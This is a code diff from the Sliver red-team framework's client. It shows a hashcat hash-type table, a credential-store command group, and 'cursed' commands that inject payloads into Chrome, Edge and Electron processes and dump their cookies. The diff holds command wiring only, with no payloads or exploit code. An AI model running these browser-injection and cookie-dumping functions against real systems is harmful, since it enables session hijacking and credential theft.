13733: "VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-Twofish-AES",
13741: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES",
13742: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish",
13743: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish-Serpent",
13751: "VeraCrypt PBKDF2-HMAC-SHA256 + AES / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish",
13752: "VeraCrypt PBKDF2-HMAC-SHA256 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish-Serpent",
13753: "VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-Twofish-AES",
13761: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + PIM + AES",
13762: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-AES",
13763: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-Twofish-AES",
13771: "VeraCrypt Streebog-512 + XTS 512 bit",
13772: "VeraCrypt Streebog-512 + XTS 1024 bit",
13773: "VeraCrypt Streebog-512 + XTS 1536 bit",
13800: "Windows Phone 8+ PIN/password",
13900: "OpenCart",
14000: "DES (PT = $salt, key = $pass)",
14100: "3DES (PT = $salt, key = $pass)",
14400: "sha1(CX)",
14500: "Linux Kernel Crypto API (2.4)",
14600: "LUKS",
14700: "iTunes backup < 10.0",
14800: "iTunes backup >= 10.0",
14900: "Skip32 (PT = $salt, key = $pass)",
15000: "FileZilla Server >= 0.9.55",
15100: "Juniper/NetBSD sha1crypt",
15200: "Blockchain, My Wallet, V2",
15300: "DPAPI masterkey file v1 + local context",
15400: "ChaCha20",
15500: "JKS Java Key Store Private Keys (SHA1)",
15600: "Ethereum Wallet, PBKDF2-HMAC-SHA256",
15700: "Ethereum Wallet, SCRYPT",
15900: "DPAPI masterkey file v2 + Active Directory domain context",
16000: "Tripcode",
16100: "TACACS+",
16200: "Apple Secure Notes",
16300: "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
16400: "CRAM-MD5 Dovecot",
16500: "JWT (JSON Web Token)",
16600: "Electrum Wallet (Salt-Type 1-3)",
16700: "FileVault 2",
16800: "WPA-PMKID-PBKDF2",
16801: "WPA-PMKID-PMK",
16900: "Ansible Vault",
17200: "PKZIP (Compressed)",
17210: "PKZIP (Uncompressed)",
17220: "PKZIP (Compressed Multi-File)",
17225: "PKZIP (Mixed Multi-File)",
17230: "PKZIP (Mixed Multi-File Checksum-Only)",
17300: "SHA3-224",
17400: "SHA3-256",
17500: "SHA3-384",
17600: "SHA3-512",
17700: "Keccak-224",
17800: "Keccak-256",
17900: "Keccak-384",
18000: "Keccak-512",
18100: "TOTP (HMAC-SHA1)",
18200: "Kerberos 5, etype 23, AS-REP",
18300: "Apple File System (APFS)",
18400: "Open Document Format (ODF) 1.2 (SHA-256, AES)",
18500: "sha1(md5(md5($pass)))",
18600: "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
18700: "Java Object hashCode()",
18800: "Blockchain, My Wallet, Second Password (SHA256)",
18900: "Android Backup",
19000: "QNX /etc/shadow (MD5)",
19100: "QNX /etc/shadow (SHA256)",
19200: "QNX /etc/shadow (SHA512)",
19300: "sha1($salt1.$pass.$salt2)",
19500: "Ruby on Rails Restful-Authentication",
19600: "Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96)",
19700: "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)",
19800: "Kerberos 5, etype 17, Pre-Auth",
19900: "Kerberos 5, etype 18, Pre-Auth",
20011: "DiskCryptor SHA512 + XTS 512 bit (AES) / DiskCryptor SHA512 + XTS 512 bit (Twofish) / DiskCryptor SHA512 + XTS 512 bit (Serpent)",
20012: "DiskCryptor SHA512 + XTS 1024 bit (AES-Twofish) / DiskCryptor SHA512 + XTS 1024 bit (Twofish-Serpent) / DiskCryptor SHA512 + XTS 1024 bit (Serpent-AES)",
20013: "DiskCryptor SHA512 + XTS 1536 bit (AES-Twofish-Serpent)",
20200: "Python passlib pbkdf2-sha512",
20300: "Python passlib pbkdf2-sha256",
20400: "Python passlib pbkdf2-sha1",
20500: "PKZIP Master Key",
20510: "PKZIP Master Key (6 byte optimization)",
20600: "Oracle Transportation Management (SHA256)",
20710: "sha256(sha256($pass).$salt)",
20711: "AuthMe sha256",
20720: "sha256($salt.sha256($pass))",
20800: "sha256(md5($pass))",
20900: "md5(sha1($pass).md5($pass).sha1($pass))",
21000: "BitShares v0.x - sha512(sha512_bin(pass))",
21100: "sha1(md5($pass.$salt))",
21200: "md5(sha1($salt).md5($pass))",
21300: "md5($salt.sha1($salt.$pass))",
21400: "sha256(sha256_bin($pass))",
21500: "SolarWinds Orion",
21501: "SolarWinds Orion v2",
21600: "Web2py pbkdf2-sha512",
21700: "Electrum Wallet (Salt-Type 4)",
21800: "Electrum Wallet (Salt-Type 5)",
22000: "WPA-PBKDF2-PMKID+EAPOL",
22001: "WPA-PMK-PMKID+EAPOL",
22100: "BitLocker",
22200: "Citrix NetScaler (SHA512)",
22300: "sha256($salt.$pass.$salt)",
22301: "Telegram Mobile App Passcode (SHA256)",
22400: "AES Crypt (SHA256)",
22500: "MultiBit Classic .key (MD5)",
22600: "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
22700: "MultiBit HD (scrypt)",
22911: "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
22921: "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
22931: "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
22941: "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
22951: "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
23001: "SecureZIP AES-128",
23002: "SecureZIP AES-192",
23003: "SecureZIP AES-256",
23100: "Apple Keychain",
23200: "XMPP SCRAM PBKDF2-SHA1",
23300: "Apple iWork",
23400: "Bitwarden",
23500: "AxCrypt 2 AES-128",
23600: "AxCrypt 2 AES-256",
23700: "RAR3-p (Uncompressed)",
23800: "RAR3-p (Compressed)",
23900: "BestCrypt v3 Volume Encryption",
24100: "MongoDB ServerKey SCRAM-SHA-1",
24200: "MongoDB ServerKey SCRAM-SHA-256",
24300: "sha1($salt.sha1($pass.$salt))",
24410: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
24420: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
24500: "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
24600: "SQLCipher",
24700: "Stuffit5",
24800: "Umbraco HMAC-SHA1",
24900: "Dahua Authentication MD5",
25300: "MS Office 2016 - SheetProtection",
25400: "PDF 1.4 - 1.6 (Acrobat 5 - 8) - edit password",
25500: "Stargazer Stellar Wallet XLM",
25600: "bcrypt(md5($pass)) / bcryptmd5",
25700: "MurmurHash",
25800: "bcrypt(sha1($pass)) / bcryptsha1",
25900: "KNX IP Secure - Device Authentication Code",
26000: "Mozilla key3.db",
26100: "Mozilla key4.db",
26200: "OpenEdge Progress Encode",
26300: "FortiGate256 (FortiOS256)",
26401: "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
26402: "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
26403: "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
26500: "iPhone passcode (UID key + System Keybag)",
26600: "MetaMask Wallet",
99999: "Plaintext",
}
func hashcatHashTypeName(mode int32) (string, bool) {
name, ok := hashcatHashTypes[mode]
return name, ok
}
func humanizeHashRate(rate uint64) string {
const unit = 1000
if rate < unit {
return fmt.Sprintf("%d H/s", rate)
}
value := float64(rate)
exp := 0
for value >= unit && exp < 5 {
value /= unit
exp++
}
suffixes := []string{"kH/s", "MH/s", "GH/s", "TH/s", "PH/s"}
if exp == 0 {
return fmt.Sprintf("%d H/s", rate)
}
if exp > len(suffixes) {
exp = len(suffixes)
}
return fmt.Sprintf("%.2f %s", value, suffixes[exp-1])
}
+4 -4
View File
@@ -10,7 +10,7 @@ import (
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
) )
func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil { if err != nil {
@@ -25,7 +25,7 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
} }
results = append(results, file.Name) results = append(results, file.Name)
desc := fmt.Sprintf("%s (%d chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize)) desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
results = append(results, desc) results = append(results, desc)
} }
@@ -33,7 +33,7 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
}) })
} }
func CrackWordlistCompleter(con *console.SliverClient) carapace.Action { func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil { if err != nil {
@@ -57,7 +57,7 @@ func CrackWordlistCompleter(con *console.SliverClient) carapace.Action {
}) })
} }
func CrackRulesCompleter(con *console.SliverClient) carapace.Action { func CrackRulesCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil { if err != nil {
-14
View File
@@ -1,14 +0,0 @@
# client/command/creds
## Overview
Implements the 'creds' command group for the Sliver client console. Handlers map Cobra invocations to creds workflows such as ADD, hash types, RM, and select.
## Go Files
- `add.go` – Adds credentials to the client store via interactive or flag-based input.
- `commands.go` – Registers credential management commands and subcommands.
- `creds.go` – Lists stored credentials and formats them for display.
- `hash-types.go` – Enumerates supported hash types and their identifiers.
- `rm.go` – Removes credentials by ID or filter from the store.
- `select.go` – Selects credentials for use in other workflows, updating defaults.
+4 -4
View File
@@ -37,8 +37,8 @@ const (
CSVFormat = "csv" // username,hash\n CSVFormat = "csv" // username,hash\n
) )
// CredsCmd - Add new credentials. // CredsCmd - Add new credentials
func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
collection, _ := cmd.Flags().GetString("collection") collection, _ := cmd.Flags().GetString("collection")
username, _ := cmd.Flags().GetString("username") username, _ := cmd.Flags().GetString("username")
plaintext, _ := cmd.Flags().GetString("plaintext") plaintext, _ := cmd.Flags().GetString("plaintext")
@@ -76,8 +76,8 @@ func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
PrintCreds(creds.Credentials, con) PrintCreds(creds.Credentials, con)
} }
// CredsCmd - Add new credentials. // CredsCmd - Add new credentials
func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
collection, _ := cmd.Flags().GetString("collection") collection, _ := cmd.Flags().GetString("collection")
filePath := args[0] filePath := args[0]
fileFormat, _ := cmd.Flags().GetString("file-format") fileFormat, _ := cmd.Flags().GetString("file-format")
-84
View File
@@ -1,84 +0,0 @@
package creds
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
credsCmd := &cobra.Command{
Use: consts.CredsStr,
Short: "Manage the database of credentials",
Long: help.GetHelpFor([]string{consts.CredsStr}),
GroupID: consts.GenericHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
CredsCmd(cmd, con, args)
},
}
flags.Bind("creds", true, credsCmd, func(f *pflag.FlagSet) {
f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
credsAddCmd := &cobra.Command{
Use: consts.AddStr,
Short: "Add a credential to the database",
Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr}),
Run: func(cmd *cobra.Command, args []string) {
CredsAddCmd(cmd, con, args)
},
}
flags.Bind("", false, credsAddCmd, func(f *pflag.FlagSet) {
f.StringP("collection", "c", "", "name of collection")
f.StringP("username", "u", "", "username for the credential")
f.StringP("plaintext", "p", "", "plaintext for the credential")
f.StringP("hash", "P", "", "hash of the credential")
f.StringP("hash-type", "H", "", "hash type of the credential")
})
flags.BindFlagCompletions(credsAddCmd, func(comp *carapace.ActionMap) {
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
})
credsCmd.AddCommand(credsAddCmd)
credsAddFileCmd := &cobra.Command{
Use: consts.FileStr,
Short: "Add a credential to the database",
Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr, consts.FileStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
CredsAddHashFileCmd(cmd, con, args)
},
}
flags.Bind("", false, credsAddFileCmd, func(f *pflag.FlagSet) {
f.StringP("collection", "c", "", "name of collection")
f.StringP("file-format", "F", HashNewlineFormat, "file format of the credential file")
f.StringP("hash-type", "H", "", "hash type of the credential")
})
flags.BindFlagCompletions(credsAddFileCmd, func(comp *carapace.ActionMap) {
(*comp)["collection"] = CredsCollectionCompleter(con)
(*comp)["file-format"] = CredsHashFileFormatCompleter(con)
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
})
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
completers.RegisterLocalFilePathPositionalCompletion(credsAddFileCmd, 0)
credsAddCmd.AddCommand(credsAddFileCmd)
credsRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove a credential to the database",
Long: help.GetHelpFor([]string{consts.CredsStr, consts.RmStr}),
Run: func(cmd *cobra.Command, args []string) {
CredsRmCmd(cmd, con, args)
},
}
carapace.Gen(credsRmCmd).PositionalCompletion(CredsCredentialIDCompleter(con).Usage("id of credential to remove (leave empty to select)"))
credsCmd.AddCommand(credsRmCmd)
return []*cobra.Command{credsCmd}
}
+16 -15
View File
@@ -23,17 +23,18 @@ import (
"fmt" "fmt"
"strings" "strings"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
) )
// CredsCmd - Manage credentials. // CredsCmd - Manage credentials
func CredsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -46,7 +47,7 @@ func CredsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
PrintCreds(creds.Credentials, con) PrintCreds(creds.Credentials, con)
} }
func PrintCreds(creds []*clientpb.Credential, con *console.SliverClient) { func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) {
collections := make(map[string][]*clientpb.Credential) collections := make(map[string][]*clientpb.Credential)
for _, cred := range creds { for _, cred := range creds {
collections[cred.Collection] = append(collections[cred.Collection], cred) collections[cred.Collection] = append(collections[cred.Collection], cred)
@@ -57,13 +58,13 @@ func PrintCreds(creds []*clientpb.Credential, con *console.SliverClient) {
} }
} }
func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverClient) { func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
if collection != "" { if collection != "" {
tw.SetTitle(console.StyleBold.Render(collection)) tw.SetTitle(console.Bold + collection + console.Normal)
} else { } else {
tw.SetTitle(console.StyleBold.Render("Default Collection")) tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
} }
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
"ID", "ID",
@@ -87,7 +88,7 @@ func printCollection(collection string, creds []*clientpb.Credential, con *conso
} }
// CredsHashTypeCompleter completes hash types. // CredsHashTypeCompleter completes hash types.
func CredsHashTypeCompleter(con *console.SliverClient) carapace.Action { func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := make([]string, 0) results := make([]string, 0)
@@ -100,8 +101,8 @@ func CredsHashTypeCompleter(con *console.SliverClient) carapace.Action {
}) })
} }
// CredsHashFileFormatCompleter completes file formats for hash-files. // CredsHashFileFormatCompleter completes file formats for hash-files
func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action { func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionValuesDescribed( return carapace.ActionValuesDescribed(
UserColonHashNewlineFormat, "One hash per line.", UserColonHashNewlineFormat, "One hash per line.",
HashNewlineFormat, "A file containing lines of 'username:hash' pairs.", HashNewlineFormat, "A file containing lines of 'username:hash' pairs.",
@@ -109,8 +110,8 @@ func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action {
).Tag("hash file formats") ).Tag("hash file formats")
} }
// CredsCollectionCompleter completes existing creds collection names. // CredsCollectionCompleter completes existing creds collection names
func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := make([]string, 0) results := make([]string, 0)
@@ -133,7 +134,7 @@ func CredsCollectionCompleter(con *console.SliverClient) carapace.Action {
} }
// CredsCredentialIDCompleter completes credential IDs. // CredsCredentialIDCompleter completes credential IDs.
func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action { func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := make([]string, 0) results := make([]string, 0)
+2 -2
View File
@@ -27,8 +27,8 @@ import (
"github.com/spf13/cobra" "github.com/spf13/cobra"
) )
// CredsCmd - Add new credentials. // CredsCmd - Add new credentials
func CredsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CredsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var id string var id string
if len(args) > 0 { if len(args) > 0 {
id = args[0] id = args[0]
+9 -4
View File
@@ -8,14 +8,15 @@ import (
"strings" "strings"
"text/tabwriter" "text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
) )
// SelectCredential - Interactive menu for the user to select a credentials from the database. // SelectCredential - Interactive menu for the user to select a credentials from the database
func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverClient) (*clientpb.Credential, error) { func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverConsoleClient) (*clientpb.Credential, error) {
var creds *clientpb.Credentials var creds *clientpb.Credentials
var err error var err error
if hashType == clientpb.HashType_INVALID { if hashType == clientpb.HashType_INVALID {
@@ -55,7 +56,11 @@ func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.S
} }
selected := "" selected := ""
err = forms.Select("Select a credential:", options, &selected) prompt := &survey.Select{
Message: "Select a credential:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
if err != nil { if err != nil {
return nil, err return nil, err
} }
+2 -16
View File
@@ -1,17 +1,3 @@
# client/command/cursed # Cursed
## Overview Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
Implements the 'cursed' command group for the Sliver client console. Handlers map Cobra invocations to cursed workflows such as cursed chrome, cursed console, cursed cookies, and cursed edge.
## Go Files
- `commands.go` – Exposes the cursed command suite and binds individual subcommands for supported targets.
- `cursed-chrome.go` – Launches or hijacks Chrome debugging sessions, locating executables and wiring remote control.
- `cursed-console.go` – Provides the interactive cursed console experience atop Chrome DevTools sessions.
- `cursed-cookies.go` – Fetches and displays browser cookies from an active cursed session.
- `cursed-edge.go` – Mirrors the Chrome workflow for Microsoft Edge, including process discovery logic.
- `cursed-electron.go` – Drives cursed interactions with arbitrary Electron apps, validating binaries and starting injected sessions.
- `cursed-rm.go` – Removes cursed sessions from the client cache and tears down associated resources.
- `cursed-screenshot.go` – Captures screenshots from a cursed browser context via DevTools APIs.
- `cursed.go` – Manages the cursed process registry, selection helpers, and remote debugger configuration defaults.
-154
View File
@@ -1,154 +0,0 @@
package cursed
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
cursedCmd := &cobra.Command{
Use: consts.Cursed,
Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
Long: help.GetHelpFor([]string{consts.Cursed}),
GroupID: consts.ExecutionHelpGroup,
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter),
Run: func(cmd *cobra.Command, args []string) {
CursedCmd(cmd, con, args)
},
}
flags.Bind("", true, cursedCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
cursedRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove a Curse from a process",
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
CursedRmCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(cursedRmCmd)
flags.Bind("", false, cursedRmCmd, func(f *pflag.FlagSet) {
f.BoolP("kill", "k", false, "kill the process after removing the curse")
})
carapace.Gen(cursedRmCmd).PositionalCompletion(carapace.ActionValues().Usage("bind port of the Cursed process to stop"))
cursedConsoleCmd := &cobra.Command{
Use: consts.CursedConsole,
Short: "Start a JavaScript console connected to a debug target",
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
Run: func(cmd *cobra.Command, args []string) {
CursedConsoleCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(cursedConsoleCmd)
flags.Bind("", false, cursedConsoleCmd, func(f *pflag.FlagSet) {
f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)`")
})
cursedChromeCmd := &cobra.Command{
Use: consts.CursedChrome,
Short: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
Run: func(cmd *cobra.Command, args []string) {
CursedChromeCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(cursedChromeCmd)
flags.Bind("", false, cursedChromeCmd, func(f *pflag.FlagSet) {
f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
f.BoolP("restore", "R", true, "restore the user's session after process termination")
f.StringP("exe", "e", "", "chrome/chromium browser executable path (blank string = auto)")
f.StringP("user-data", "u", "", "user data directory (blank string = auto)")
f.StringP("payload", "p", "", "cursed chrome payload file path (.js)")
f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes")
f.BoolP("headless", "H", false, "start browser process in headless mode")
})
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
})
completers.RegisterLocalFilePathFlagCompletion(cursedChromeCmd, "payload")
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
cursedEdgeCmd := &cobra.Command{
Use: consts.CursedEdge,
Short: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
Run: func(cmd *cobra.Command, args []string) {
CursedEdgeCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(cursedEdgeCmd)
flags.Bind("", false, cursedEdgeCmd, func(f *pflag.FlagSet) {
f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
f.BoolP("restore", "R", true, "restore the user's session after process termination")
f.StringP("exe", "e", "", "edge browser executable path (blank string = auto)")
f.StringP("user-data", "u", "", "user data directory (blank string = auto)")
f.StringP("payload", "p", "", "cursed chrome payload file path (.js)")
f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes")
f.BoolP("headless", "H", false, "start browser process in headless mode")
})
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
})
completers.RegisterLocalFilePathFlagCompletion(cursedEdgeCmd, "payload")
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
cursedElectronCmd := &cobra.Command{
Use: consts.CursedElectron,
Short: "Curse a remote Electron application",
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
Run: func(cmd *cobra.Command, args []string) {
CursedElectronCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(cursedElectronCmd)
flags.Bind("", false, cursedElectronCmd, func(f *pflag.FlagSet) {
f.StringP("exe", "e", "", "remote electron executable absolute path")
f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)")
})
cursedElectronCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(cursedElectronCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Electron CLI arguments"))
CursedCookiesCmd := &cobra.Command{
Use: consts.CursedCookies,
Short: "Dump all cookies from cursed process",
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
Run: func(cmd *cobra.Command, args []string) {
CursedCookiesCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(CursedCookiesCmd)
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
f.StringP("save", "s", "", "save to file")
})
completers.RegisterLocalFilePathFlagCompletion(CursedCookiesCmd, "save")
cursedScreenshotCmd := &cobra.Command{
Use: consts.ScreenshotStr,
Short: "Take a screenshot of a cursed process debug target",
Long: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
Run: func(cmd *cobra.Command, args []string) {
CursedScreenshotCmd(cmd, con, args)
},
}
cursedCmd.AddCommand(cursedScreenshotCmd)
flags.Bind("", false, cursedScreenshotCmd, func(f *pflag.FlagSet) {
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
f.StringP("save", "s", "", "save to file")
})
completers.RegisterLocalFilePathFlagCompletion(cursedScreenshotCmd, "save")
return []*cobra.Command{cursedCmd}
}
+15 -14
View File
@@ -23,20 +23,21 @@ import (
"errors" "errors"
"fmt" "fmt"
"log" "log"
insecureRand "math/rand"
"os" "os"
"strings" "strings"
"time" "time"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
